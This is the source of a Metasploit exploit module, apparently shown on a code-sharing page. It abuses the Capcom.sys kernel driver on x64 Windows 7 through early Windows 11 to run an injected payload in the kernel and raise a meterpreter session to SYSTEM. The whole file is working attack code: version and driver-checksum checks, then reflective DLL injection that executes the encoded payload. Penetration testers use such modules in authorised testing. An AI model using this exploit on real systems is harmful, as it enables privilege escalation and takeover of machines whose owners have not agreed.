Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = NormalRanking
8

9
  include Msf::Post::File
10
  include Msf::Post::Windows::Priv
11
  include Msf::Post::Windows::Process
12
  include Msf::Post::Windows::ReflectiveDLLInjection
13
  prepend Msf::Exploit::Remote::AutoCheck
14

15
  def initialize(info = {})
16
    super(
17
      update_info(
18
        info,
19
        {
20
          'Name' => 'Windows Capcom.sys Kernel Execution Exploit (x64 only)',
21
          'Description' => %q{
22
            This module abuses the Capcom.sys kernel driver's function that allows for an
23
            arbitrary function to be executed in the kernel from user land. This function
24
            purposely disables SMEP prior to invoking a function given by the caller.
25
            This has been tested on Windows 7, 8.1, 10 (x64) and Windows 11 (x64) upto build 22000.194.
26
            Note that builds after 22000.194 contain deny lists that prevent this driver from loading.
27
          },
28
          'License' => MSF_LICENSE,
29
          'Author' => [
30
            'TheWack0lian', # Issue discovery
31
            'OJ Reeves' # exploit and msf module
32
          ],
33
          'Arch' => [ARCH_X64],
34
          'Platform' => 'win',
35
          'SessionTypes' => [ 'meterpreter' ],
36
          'DefaultOptions' => {
37
            'EXITFUNC' => 'thread'
38
          },
39
          'Targets' => [
40
            [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
41
          ],
42
          'Payload' => {
43
            'Space' => 4096,
44
            'DisableNops' => true
45
          },
46
          'References' => [
47
            ['URL', 'https://twitter.com/TheWack0lian/status/779397840762245124']
48
          ],
49
          'DisclosureDate' => '1999-01-01', # non-vuln exploit date
50
          'DefaultTarget' => 0,
51
          'Compat' => {
52
            'Meterpreter' => {
53
              'Commands' => %w[
54
                stdapi_fs_md5
55
                stdapi_sys_config_driver_list
56
              ]
57
            }
58
          }
59
        }
60
      )
61
    )
62
  end
63

64
  def check
65
    return Exploit::CheckCode::Unknown unless session.platform == 'windows'
66

67
    version = get_version_info
68
    if version.build_number < Msf::WindowsVersion::Win7_SP0 || version.windows_server?
69
      return Exploit::CheckCode::Unknown
70
    end
71

72
    # These versions of Windows 11 come built in with a driver block list preventing loading of capcom.sys
73
    if version.build_number > Rex::Version.new('10.0.22000.194')
74
      return Exploit::CheckCode::Safe('Target contains a block list which prevents the vulnerable driver from being loaded!')
75
    end
76

77
    if sysinfo['Architecture'] != ARCH_X64
78
      return Exploit::CheckCode::Safe
79
    end
80

81
    # Validate that the driver has been loaded and that
82
    # the version is the same as the one expected
83
    client.sys.config.getdrivers.each do |d|
84
      next unless d[:basename].downcase == 'capcom.sys'
85

86
      expected_checksum = '73c98438ac64a68e88b7b0afd11ba140'
87
      target_checksum = client.fs.file.md5(d[:filename])
88

89
      if expected_checksum == Rex::Text.to_hex(target_checksum, '')
90
        return Exploit::CheckCode::Appears
91
      end
92
    end
93

94
    return Exploit::CheckCode::Safe
95
  end
96

97
  def exploit
98
    if is_system?
99
      fail_with(Failure::None, 'Session is already elevated')
100
    end
101

102
    check_result = check
103
    if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
104
      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
105
    end
106

107
    if sysinfo['Architecture'] == ARCH_X64
108
      if session.arch == ARCH_X86
109
        fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
110
      end
111

112
      if target.arch.first == ARCH_X86
113
        fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
114
      end
115
    end
116

117
    encoded_payload = payload.encoded
118
    execute_dll(
119
      ::File.join(Msf::Config.data_directory, 'exploits', 'capcom_sys_exec', 'capcom_sys_exec.x64.dll'),
120
      encoded_payload
121
    )
122

123
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
124
  end
125
end
126

127